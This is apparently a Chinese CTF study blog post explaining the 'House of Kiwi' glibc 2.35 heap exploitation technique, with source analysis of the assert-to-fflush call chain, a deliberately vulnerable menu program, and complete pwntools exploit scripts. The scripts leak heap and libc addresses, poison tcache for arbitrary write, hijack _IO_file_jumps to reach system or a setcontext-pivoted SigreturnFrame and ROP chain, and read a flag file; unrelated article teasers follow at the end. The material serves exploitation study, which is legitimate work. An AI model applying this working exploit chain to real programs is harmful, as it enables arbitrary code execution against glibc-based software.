【我的 PWN 学习手札】House of Kiwi
House of Kiwi
之前我们利用IO_FILE一般是通过劫持vtable来实现的, House of Kiwi虽然不是通过劫持vtable来实现,但实质上是劫持vtable指向的全局的_IO_file_jumps_表来实现的。注意:对于某些版本的glibc,_IO_file_jumps_并不可写,也就不能利用这种方法,比较玄学需要实际看一下。较高版本的glibc去除了__malloc_hook、__free_hook、exit hook;而如果程序调用中利用诸如write、__exit等函数直接触发系统调用,不走IO结构体调用流程,就难以使用IO的方法来劫持程序执行流程。之所以赋予House of Kiwi这个利用手法名,实际上是因为找到了一条“主动触发异常退出”来触发vtable上的相关函数来的实现攻击。
一、源码分析
在malloc.c的sysmalloc函数中存在assert断言(当然,很多其他地方也用了assert宏)
这里检查了Top chunk的控制字段,不通过则触发异常
//malloc.c
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{...assert ((old_top == initial_top (av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse (old_top) &&((unsigned long) old_end & (pagesize - 1)) == 0));/* Precondition: not enough current space to satisfy nb request */assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));...
}
继续看一下assert宏,可以看到assert➡__assert_fail函数
# if defined __cplusplus
# define assert(expr) \(static_cast <bool> (expr) \? void (0) \: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# elif !defined __GNUC__ || defined __STRICT_ANSI__
# define assert(expr) \((expr) \? __ASSERT_VOID_CAST (0) \: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# else
/* The first occurrence of EXPR is not evaluated due to the sizeof,but will trigger any pedantic warnings masked by the __extension__for the second occurrence. The ternary operator is required tosupport function pointers and bit fields in this context, and tosuppress the evaluation of variable length arrays. */
# define assert(expr) \((void) sizeof ((expr) ? 1 : 0), __extension__ ({ \if (expr) \; /* empty */ \else \__assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION); \}))
# endif
继续跟进,可以看到实际上是调用__malloc_assert,其中fflush(stderr)则走了IO路线来输出(实际上__fxprintf也走了)。
#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function) \__malloc_assert(assertion, file, line, function)extern const char *__progname;static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,const char *function)
{(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",__progname, __progname[0] ? ": " : "",file, line,function ? function : "", function ? ": " : "",assertion);fflush (stderr);abort ();
}
#endif
#endif
fflush➡_IO_fflush
# define fflush(s) _IO_fflush (s)
_IO_SYNC可以看到,_IO_fflush继续跳转到vtable指向_IO_file_jumps_表上的sync项
int
_IO_fflush (FILE *fp)
{if (fp == NULL)return _IO_flush_all ();else{int result;CHECK_FILE (fp, EOF);_IO_acquire_lock (fp);result = _IO_SYNC (fp) ? EOF : 0;_IO_release_lock (fp);return result;}
}
libc_hidden_def (_IO_fflush)
因此,我们可以通过劫持全局_IO_file_jumps表,劫持sync指针,然后触发assert断言进入:
assert➡__assert_fail➡__malloc_assert➡fflush➡_IO_fflush➡_IO_SYNC调用链,从而劫持程序流。
二、劫持程序流示例
pwn.c+glibc2.35
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>char *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:_exit(0);default:puts("invalid choice.");}}
}
大致过程如下:
- 泄露
heap base - 劫持
tcache_pthread_struct arbitrary_write劫持全局数据区的_IO_file_jumps表- 写坏
Top chunk然后malloc较大堆块触发assert断言进入调用链
首先glibc-2.35的tcache->key,通过UAF泄露heap_base
add(0,0x100)
add(1,0x100)
add(2,0x100)
delete(0)
show(0)
io.recvline()
heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12
success("heap_base:"+hex(heap_base))

让我们通过劫持tcache_pthread_struct来泄露libc并进一步获得arbitrary_write的能力,
delete(2)
# pos = (heap_base + 0x5c8)
# target = heap_base + 0x20
edit(2,p64((heap_base >>12) ^ (heap_base + 0x20))+p64(0))
add(2,0x100)
add(10,0x100)
edit(10,b'\x00'*14+p16(0x7))
delete(1)
show(1)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x1f2ce0
success("libc_base: "+hex(libc.address))def arbitrary_write(address,content):aligns = address & 0xfaddress = address & ~0xfedit(10,(b'\x00'*14+p16(0x7)).ljust(0xe8,b'\x00')+p64(address))add(11,0x100)edit(11,b'\x00'*aligns+content)
然后我们就可以通过任意地址写来修改全局表_IO_file_jumps了
'''
0xdb1f1 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xdb1f4 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xdb1f7 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.addressarbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(one_gadget))
edit(2,b'\x00'*0x110)gdb.attach(io,"b *{}\nc".format(hex(one_gadget)))
add(20,0x300)

确实被我们劫持到one_gadget,但是由于rsi、rdx都不为空,所以不能简单利用。不过我们有任意地址写的能力,由于fflush的参数是stderr所以我们可以在_IO_2_1_stderr头部写"/bin/sh\x00",同时flag位不会触发__fxprintf的链子,继续执行fflush:
'''
0xdb1f1 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xdb1f4 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xdb1f7 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.addressarbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(libc.sym['system']))
edit(2,b'\x00'*0x110)# gdb.attach(io,"b *{}\nc".format(hex(one_gadget)))
arbitrary_write(libc.sym['_IO_2_1_stderr_'],b"/bin/sh\x00")
gdb.attach(io,"b __malloc_assert\n")
add(20,0x300)



三、配合setcontext-gadget实现ROP
glibc2.35的setcontext是通过rdx寄存器来传递数值的
...0x77d08a450c0d <setcontext+61> mov rsp, qword ptr [rdx + 0xa0]0x77d08a450c14 <setcontext+68> mov rbx, qword ptr [rdx + 0x80]0x77d08a450c1b <setcontext+75> mov rbp, qword ptr [rdx + 0x78]0x77d08a450c1f <setcontext+79> mov r12, qword ptr [rdx + 0x48]0x77d08a450c23 <setcontext+83> mov r13, qword ptr [rdx + 0x50]0x77d08a450c27 <setcontext+87> mov r14, qword ptr [rdx + 0x58]0x77d08a450c2b <setcontext+91> mov r15, qword ptr [rdx + 0x60]0x77d08a450c2f <setcontext+95> test dword ptr fs:[0x48], 20x77d08a450c3b <setcontext+107> je setcontext+294 <setcontext+294>...
我们关注到,在进行House of Kiwi时,调用fflush时执行跳转表函数SYNC的 rdx寄存器指向_IO_helper_jumps
────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────0x7e211da782fb <fflush+107> mov rcx, rbp RCX => 0x7e211dbf4580 (__GI__IO_file_jumps) ◂— 00x7e211da782fe <fflush+110> sub rcx, rdx RCX => 0xc00 (0x7e211dbf4580 - 0x7e211dbf3980)0x7e211da78301 <fflush+113> cmp rax, rcx 0xd68 - 0xc00 EFLAGS => 0x202 [ cf pf af zf sf IF df of ]0x7e211da78304 <fflush+116> jbe fflush+200 <fflush+200>0x7e211da78306 <fflush+118> mov rdi, rbx RDI => 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887► 0x7e211da78309 <fflush+121> call qword ptr [rbp + 0x60] <__SI_IO_new_file_sync_7>rdi: 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887rsi: 0x7ffc3c3bf7d0 ◂— 0x6c616d203a6e7770 ('pwn: mal')rdx: 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0rcx: 0xc000x7e211da7830c <fflush+124> test eax, eax0x7e211da7830e <fflush+126> setne al0x7e211da78311 <fflush+129> movzx eax, al0x7e211da78314 <fflush+132> neg eax0x7e211da78316 <fflush+134> test dword ptr [rbx], 0x8000
─────────────────────────────────────────────────────────────────[
这也是一个全局跳转表,具有w权限,可以通过arbitray_write劫持
至于为什么是_IO_helper_jumps,其实指向的是__start___libc_IO_vtables,而_IO_helper_jumps是各个全局的跳转函数表的第一个表,数值也即__start___libc_IO_vtables:
pwndbg> p/x __start___libc_IO_vtables
$3 = 0x7e211dbf3980 <_IO_helper_jumps>
pwndbg> info reg rdx
rdx 0x7e211dbf3980 138680698091904
pwndbg> tele 0x7e211dbf3980
00:0000│ rdx 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0
01:0008│-bf8 0x7e211dbf3988 (_IO_helper_jumps+8) ◂— 0
02:0010│-bf0 0x7e211dbf3990 (_IO_helper_jumps+16) —▸ 0x7e211da85a10 (_IO_default_finish) ◂— endbr64
03:0018│-be8 0x7e211dbf3998 (_IO_helper_jumps+24) —▸ 0x7e211da6c390 (_IO_helper_overflow) ◂— endbr64
04:0020│-be0 0x7e211dbf39a0 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64
05:0028│-bd8 0x7e211dbf39a8 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64
06:0030│-bd0 0x7e211dbf39b0 (_IO_helper_jumps+48) —▸ 0x7e211da86450 (_IO_default_pbackfail) ◂— endbr64
07:0038│-bc8 0x7e211dbf39b8 (_IO_helper_jumps+56) —▸ 0x7e211da853d0 (_IO_default_xsputn) ◂— endbr64
pwndbg>
08:0040│-bc0 0x7e211dbf39c0 (_IO_helper_jumps+64) —▸ 0x7e211da85550 (_IO_default_xsgetn) ◂— endbr64
09:0048│-bb8 0x7e211dbf39c8 (_IO_helper_jumps+72) —▸ 0x7e211da85a90 (_IO_default_seekoff) ◂— endbr64
0a:0050│-bb0 0x7e211dbf39d0 (_IO_helper_jumps+80) —▸ 0x7e211da85710 (_IO_default_seekpos) ◂— endbr64
0b:0058│-ba8 0x7e211dbf39d8 (_IO_helper_jumps+88) —▸ 0x7e211da85610 (_IO_default_setbuf) ◂— endbr64
0c:0060│-ba0 0x7e211dbf39e0 (_IO_helper_jumps+96) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64
0d:0068│-b98 0x7e211dbf39e8 (_IO_helper_jumps+104) —▸ 0x7e211da85780 (_IO_default_doallocate) ◂— endbr64
0e:0070│-b90 0x7e211dbf39f0 (_IO_helper_jumps+112) —▸ 0x7e211da865c0 (_IO_default_read) ◂— endbr64
0f:0078│-b88 0x7e211dbf39f8 (_IO_helper_jumps+120) —▸ 0x7e211da865d0 (_IO_default_write) ◂— endbr64
pwndbg>
10:0080│-b80 0x7e211dbf3a00 (_IO_helper_jumps+128) —▸ 0x7e211da865a0 (_IO_default_seek) ◂— endbr64
11:0088│-b78 0x7e211dbf3a08 (_IO_helper_jumps+136) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64
12:0090│-b70 0x7e211dbf3a10 (_IO_helper_jumps+144) —▸ 0x7e211da865b0 (_IO_default_stat) ◂— endbr64
13:0098│-b68 0x7e211dbf3a18 (_IO_helper_jumps+152) ◂— 0
... ↓ 4 skipped
pwndbg>
18:00c0│-b40 0x7e211dbf3a40 (_IO_helper_jumps) ◂— 0
19:00c8│-b38 0x7e211dbf3a48 (_IO_helper_jumps+8) ◂— 0
1a:00d0│-b30 0x7e211dbf3a50 (_IO_helper_jumps+16) —▸ 0x7e211da7c460 (_IO_wdefault_finish) ◂— endbr64
1b:00d8│-b28 0x7e211dbf3a58 (_IO_helper_jumps+24) —▸ 0x7e211da715d0 (_IO_helper_overflow) ◂— endbr64
1c:00e0│-b20 0x7e211dbf3a60 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64
1d:00e8│-b18 0x7e211dbf3a68 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64
1e:00f0│-b10 0x7e211dbf3a70 (_IO_helper_jumps+48) —▸ 0x7e211da7c2a0 (_IO_wdefault_pbackfail) ◂— endbr64
1f:00f8│-b08 0x7e211dbf3a78 (_IO_helper_jumps+56) —▸ 0x7e211da7c5e0 (_IO_wdefault_xsputn) ◂— endbr64
值得注意的是,关注上述gdb调试数据,可以看到好像有两个_IO_helper_jumps表。无论是libc.sym['_IO_helper_jumps']还是gdb内通过p/x &_IO_helper_jumps,打印的都是第二张表的地址;不过fflush内call sync时的rdx指向是第一个表,需要格外注意。
因此我们可以:
- 利用任意地址写在
_IO_helper_jumps上布置sigreturnFrame - 在堆上布置
ROP链 - 写坏
Top chunk触发调用链
# ROP 放在2号堆块上
rop_start = heap_base + 0x4c0
buf_start = heap_base + 0x80
# flag 读到0号堆块上
flag_start = heap_base + 0x2a0
rop = b''
# read(3,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret")).__next__())
rop += p64(3)
rop += p64(libc.search(asm("pop rsi;ret")).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;ret")).__next__())
rop += p64(0x20)
rop += p64(libc.sym['read'])
# write(1,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret")).__next__())
rop += p64(1)
rop += p64(libc.search(asm("pop rsi;ret")).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;ret")).__next__())
rop += p64(0x20)
rop += p64(libc.sym['write'])
rop = rop.ljust(buf_start - rop_start, b'\x00')
rop += b'./flag.txt\x00'
rop = rop.ljust(0x110, b'\x00')frame = SigreturnFrame()
# open("./flag.txt")
frame.rdi = buf_start
frame.rsi = 0
frame.rdx = 0
frame.rip = libc.sym['open']
frame.rsp = rop_startarbitrary_write(libc.sym["__start___libc_IO_vtables"],bytes(frame))
然而

看起来我们修改的_IO_helper_jumps在fflush 之前的__fxprintf被使用。
具体我们看一下用到了哪一项,我们断点到__malloc_assert开始步过,最终定位到表偏移0x38的函数指针是会被调用的

因此我们的sigreturnFrame数据在该处保留合法指针即可
pwndbg> p __start___libc_IO_vtables
$1 = 0x77bb9cbf3980 <_IO_helper_jumps> ""
pwndbg> tele 0x77bb9cbf3980
00:0000│ 0x77bb9cbf3980 (_IO_helper_jumps) ◂— 0
01:0008│ 0x77bb9cbf3988 (_IO_helper_jumps+8) ◂— 0
02:0010│ 0x77bb9cbf3990 (_IO_helper_jumps+16) —▸ 0x77bb9ca85a10 (_IO_default_finish) ◂— endbr64
03:0018│ 0x77bb9cbf3998 (_IO_helper_jumps+24) —▸ 0x77bb9ca6c390 (_IO_helper_overflow) ◂— endbr64
04:0020│ 0x77bb9cbf39a0 (_IO_helper_jumps+32) —▸ 0x77bb9ca85360 (_IO_default_underflow) ◂— endbr64
05:0028│ 0x77bb9cbf39a8 (_IO_helper_jumps+40) —▸ 0x77bb9ca85370 (_IO_default_uflow) ◂— endbr64
06:0030│ 0x77bb9cbf39b0 (_IO_helper_jumps+48) —▸ 0x77bb9ca86450 (_IO_default_pbackfail) ◂— endbr64
07:0038│ 0x77bb9cbf39b8 (_IO_helper_jumps+56) —▸ 0x77bb9ca853d0 (_IO_default_xsputn) ◂— endbr64
pwndbg> libc
libc : 0x77bb9ca00000
pwndbg> p/x 0x77bb9ca853d0-0x77bb9ca00000
$2 = 0x853d0
frame=bytearray(bytes(frame))
frame[0x38:0x40]=p64(libc.address+0x853d0)
然后我们就可以正常到达fflush,并劫持到setcontext

然后可以看到setcontext退出时进入rop-chain

结果在ROP过程中发现找到的pop rdx;ret是不可执行数据;遂在所有的gadget的libc.search部分增添参数executable=True
rop += p64(libc.search(asm("pop rdx;ret"),executable=True).__next__())
然而又找不到这样的gadget。所以用ropper或ROPgadget找具有同样功能虽然可能略荣誉的gadget:
0x0000000000107191 : pop rdx ; pop r12 ; ret
最终可以实现:

ROP完整exp
from pwn import *
from pwnlib.abi import freebsd_armelf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x100)
add(1, 0x100)
add(2, 0x100)delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
success("heap_base:" + hex(heap_base))delete(2)
# pos = (heap_base + 0x5c8)
# target = heap_base + 0x20
edit(2, p64((heap_base >> 12) ^ (heap_base + 0x20)) + p64(0))
add(2, 0x100)
add(10, 0x100)
edit(10, b'\x00' * 14 + p16(0x7))
delete(1)
show(1)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
success("libc_base: " + hex(libc.address))def arbitrary_write(address, content):aligns = address & 0xfaddress = address & ~0xfedit(10, (b'\x00' * 14 + p16(0x7)).ljust(0xe8, b'\x00') + p64(address))add(11, 0x100)edit(11, b'\x00' * aligns + content)gdb.attach(io, 'b fflush\nc')
# gdb.attach(io,'b __malloc_assert\nc')# ROP 放在2号堆块上
rop_start = heap_base + 0x4c0
buf_start = rop_start + 0x80
# flag 读到0号堆块上
flag_start = heap_base + 0x2a0
rop = b''
# read(3,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__())
rop += p64(3)
rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__())
rop += p64(0x30)
rop += p64(0)
rop += p64(libc.sym['read'])
# write(1,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__())
rop += p64(1)
rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__())
rop += p64(0x30)
rop += p64(0)
rop += p64(libc.sym['write'])
rop = rop.ljust(buf_start - rop_start, b'\x00')
rop += b'./flag.txt\x00'
rop = rop.ljust(0x110, b'\x00')frame = SigreturnFrame()
# open("./flag.txt")
frame.rdi = buf_start
frame.rsi = 0
frame.rdx = 0
frame.rip = libc.sym['open']
frame.rsp = rop_startframe = bytearray(bytes(frame))
frame[0x38:0x40] = p64(libc.address + 0x853d0)
arbitrary_write(libc.sym["__start___libc_IO_vtables"], bytes(frame))
arbitrary_write(libc.sym['_IO_file_jumps'] + 0x60, p64(libc.sym['setcontext'] + 61))
edit(2, rop)
add(30, 0x300)
io.interactive()
相关文章:
【我的 PWN 学习手札】House of Kiwi
House of Kiwi 之前我们利用IO_FILE一般是通过劫持vtable来实现的, House of Kiwi虽然不是通过劫持vtable来实现,但实质上是劫持vtable指向的全局的_IO_file_jumps_表来实现的。注意:对于某些版本的glibc,_IO_file_jumps_并不可写…...
nvm的学习
学习 nvm(Node Version Manager) 是掌握 Node.js 开发的关键技能之一。以下是系统的学习路径和实战指南,涵盖从基础到进阶的内容: 一、基础入门 1. nvm 的核心作用 多版本共存:安装和管理多个 Node.js 版本ÿ…...
haclon固定相机位标定
什么是标定? 工业应用中相机拍到一个mark点的坐标为C1(Cx,Cy),C1点对应的龙门架/机械手等执行端对应的坐标是多少? 标定就是解决这个问题,如相机拍到一个点坐标C1(Cx,Cy),…...
stm32(hal库)学习笔记-时钟系统
在stm32中,时钟系统是非常重要的一环,他控制着整个系统的频率。因此,我们有理由好好学一下时钟系统。 什么是时钟? 时钟是具有周期性的脉冲信号,一般我们常用占空比为50%的方波。可以形象的说,时钟就是单…...
【Java项目】基于SpringBoot的财务管理系统
【Java项目】基于SpringBoot的财务管理系统 技术简介:采用Java技术、SpringBoot框架、MySQL数据库等实现。系统基于B/S架构,前端通过浏览器与后端数据库进行信息交互,后端使用SpringBoot框架和MySQL数据库进行数据处理和存储,实现…...
Qt中如果槽函数运行时间久,避免阻塞主线程的做法
Qt中如果槽函数运行时间久,避免阻塞主线程的做法 一、解决步骤 创建一个工作线程类:继承自QObject,并在其中实现槽函数的逻辑。将工作线程类的实例移动到单独的线程中:通过moveToThread()方法将对象移动到新线程。启动线程&…...
曹操智行构建国内首个全域自研闭环智驾生态
2月28日,曹操出行举办曹操智行自动驾驶平台上线仪式,宣布已成功构建国内首个“F立方”全域自研闭环智驾生态,同时在苏杭两地开启Robotaxi运营试点,并投放搭载吉利最新智驾系统的车辆。 此次试点运营,标志着曹操出行在…...
day02_Java基础
文章目录 day02_Java基础一、今日课程内容二、数组(熟悉)1、定义格式2、基本使用3、了解数组的内存图介绍4、数组的两个小问题5、数组的常见操作 三、方法(熟悉)1、定义格式2、方法重载overload 四、面向对象(掌握&…...
SpringSecurity 实现token 认证
配置类 Configuration EnableWebSecurity EnableGlobalMethodSecurity(prePostEnabledtrue) public class SpringSecurityConfig extends WebSecurityConfigurerAdapter { Bean Override public AuthenticationManager authenticationManagerBean() throws Exception {return s…...
轻松实现语音生成:GPT-SoVITS V2整合包的远程访问操作详解
文章目录 前言1.GPT-SoVITS V2下载2.本地运行GPT-SoVITS V23.简单使用演示4.安装内网穿透工具4.1 创建远程连接公网地址 5. 固定远程访问公网地址 前言 今天要给大家安利一个绝对能让你大呼过瘾的声音黑科技——GPT-SoVITS!这款由花儿不哭大佬精心打造的语音克隆神…...
解锁状态模式:Java 编程中的行为魔法
系列文章目录 后续补充~~~ 文章目录 一、状态模式:概念与原理二、状态模式的深度剖析(一)模式定义与核心思想(二)模式结构与角色 三、状态模式的实际应用场景(一)电商系统中的订单状态管理&…...
算法与数据结构(相交链表)
题目 思路 1.哈希集合 因为要求是否存在相交节点,那么我们就可以利用哈希集合先将listA链表里面的所有数据存入,然后访问listB,判断其是否有节点在哈希集合中,若存在,则说明此节点为相交的节点。若遍历完之后仍没有发…...
浅入浅出Selenium DevTools
前言 在自动化测试领域,Selenium一直是主流工具之一。随着前端技术的不断发展,浏览器的功能也在不断丰富。 Selenium 3版本前,一套通用的采集流程如上图所示: 打开Charles,设置Session自动导出频次及导出路径Seleniu…...
软件工程---净室软件工程
净室软件工程是一种软件开发方法,旨在通过形式化的数据和严格的测试来提高软件的可靠性和减少缺陷的数量。它的核心思想是在软件开发过程中最小化或消除软件缺陷,从而提高软件的质量和可靠性。这种方法强调在软件生命周期的早期阶段使用形式化方法进行规…...
OpenHarmony图形子系统
OpenHarmony图形子系统 图形子系统主要包括UI组件、布局、动画、字体、输入事件、窗口管理、渲染绘制等模块,构建基于轻量OS应用框架满足硬件资源较小的物联网设备或者构建基于标准OS的应用框架满足富设备的OpenHarmony系统应用开发。 1.1 轻量系统 简介 图形子…...
如何获取Mac OS 安装盘
发现虚拟机VirtualBox支持Mac虚拟,就想尝试一下。但是发现Mac的安装盘特别难拿到,因此留档。发现有几种方法,最简单的方法,是在有Mac 机器的情况下,直接到App Store里,根据Mac版本的名字查找并下载。另外还…...
【弹性计算】弹性裸金属服务器和神龙虚拟化(一):功能特点
弹性裸金属服务器和神龙虚拟化(一):功能特点 特征一:分钟级交付特征二:兼容 VPC、SLB、RDS 等云平台全业务特征三:兼容虚拟机镜像特征四:云盘启动和数据云盘动态热插拔特征五:虚拟机…...
大白话前端性能优化方法的分类与具体实现
大白话前端性能优化方法的分类与具体实现 一、资源加载优化 1. 压缩与合并文件 大白话解释: 咱们的网页代码里,就像一个房间堆满了东西,有很多没用的“杂物”,比如代码里的空格、注释啥的。压缩文件就是把这些“杂物”清理掉&a…...
Rabbit MQ 高频面试题【刷题系列】
文章目录 一、公司生产环境用的什么消息中间件?二、Kafka、ActiveMQ、RabbitMQ、RocketMQ有什么优缺点?三、解耦、异步、削峰是什么?四、消息队列有什么缺点?五、RabbitMQ一般用在什么场景?六、简单说RabbitMQ有哪些角…...
ES6 特性全面解析与应用实践
1、let let 关键字用来声明变量,使用let 声明的变量有几个特点: 1) 不允许重复声明 2) 块儿级作用域 3) 不存在变量提升 4) 不影响作用域链 5) 暂时性死区 6)不与顶级对象挂钩 在代码块内,使用let命令声明变量之前&#x…...
Java 语言特性(面试系列1)
一、面向对象编程 1. 封装(Encapsulation) 定义:将数据(属性)和操作数据的方法绑定在一起,通过访问控制符(private、protected、public)隐藏内部实现细节。示例: public …...
对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...
江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命
在华东塑料包装行业面临限塑令深度调整的背景下,江苏艾立泰以一场跨国资源接力的创新实践,重新定义了绿色供应链的边界。 跨国回收网络:废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点,将海外废弃包装箱通过标准…...
C++.OpenGL (10/64)基础光照(Basic Lighting)
基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...
【python异步多线程】异步多线程爬虫代码示例
claude生成的python多线程、异步代码示例,模拟20个网页的爬取,每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程:允许程序同时执行多个任务,提高IO密集型任务(如网络请求)的效率…...
【论文阅读28】-CNN-BiLSTM-Attention-(2024)
本文把滑坡位移序列拆开、筛优质因子,再用 CNN-BiLSTM-Attention 来动态预测每个子序列,最后重构出总位移,预测效果超越传统模型。 文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵(S…...
Redis数据倾斜问题解决
Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中,部分节点存储的数据量或访问量远高于其他节点,导致这些节点负载过高,影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...
使用Spring AI和MCP协议构建图片搜索服务
目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式(本地调用) SSE模式(远程调用) 4. 注册工具提…...
GO协程(Goroutine)问题总结
在使用Go语言来编写代码时,遇到的一些问题总结一下 [参考文档]:https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html 1. main()函数默认的Goroutine 场景再现: 今天在看到这个教程的时候,在自己的电…...
Python Einops库:深度学习中的张量操作革命
Einops(爱因斯坦操作库)就像给张量操作戴上了一副"语义眼镜"——让你用人类能理解的方式告诉计算机如何操作多维数组。这个基于爱因斯坦求和约定的库,用类似自然语言的表达式替代了晦涩的API调用,彻底改变了深度学习工程…...
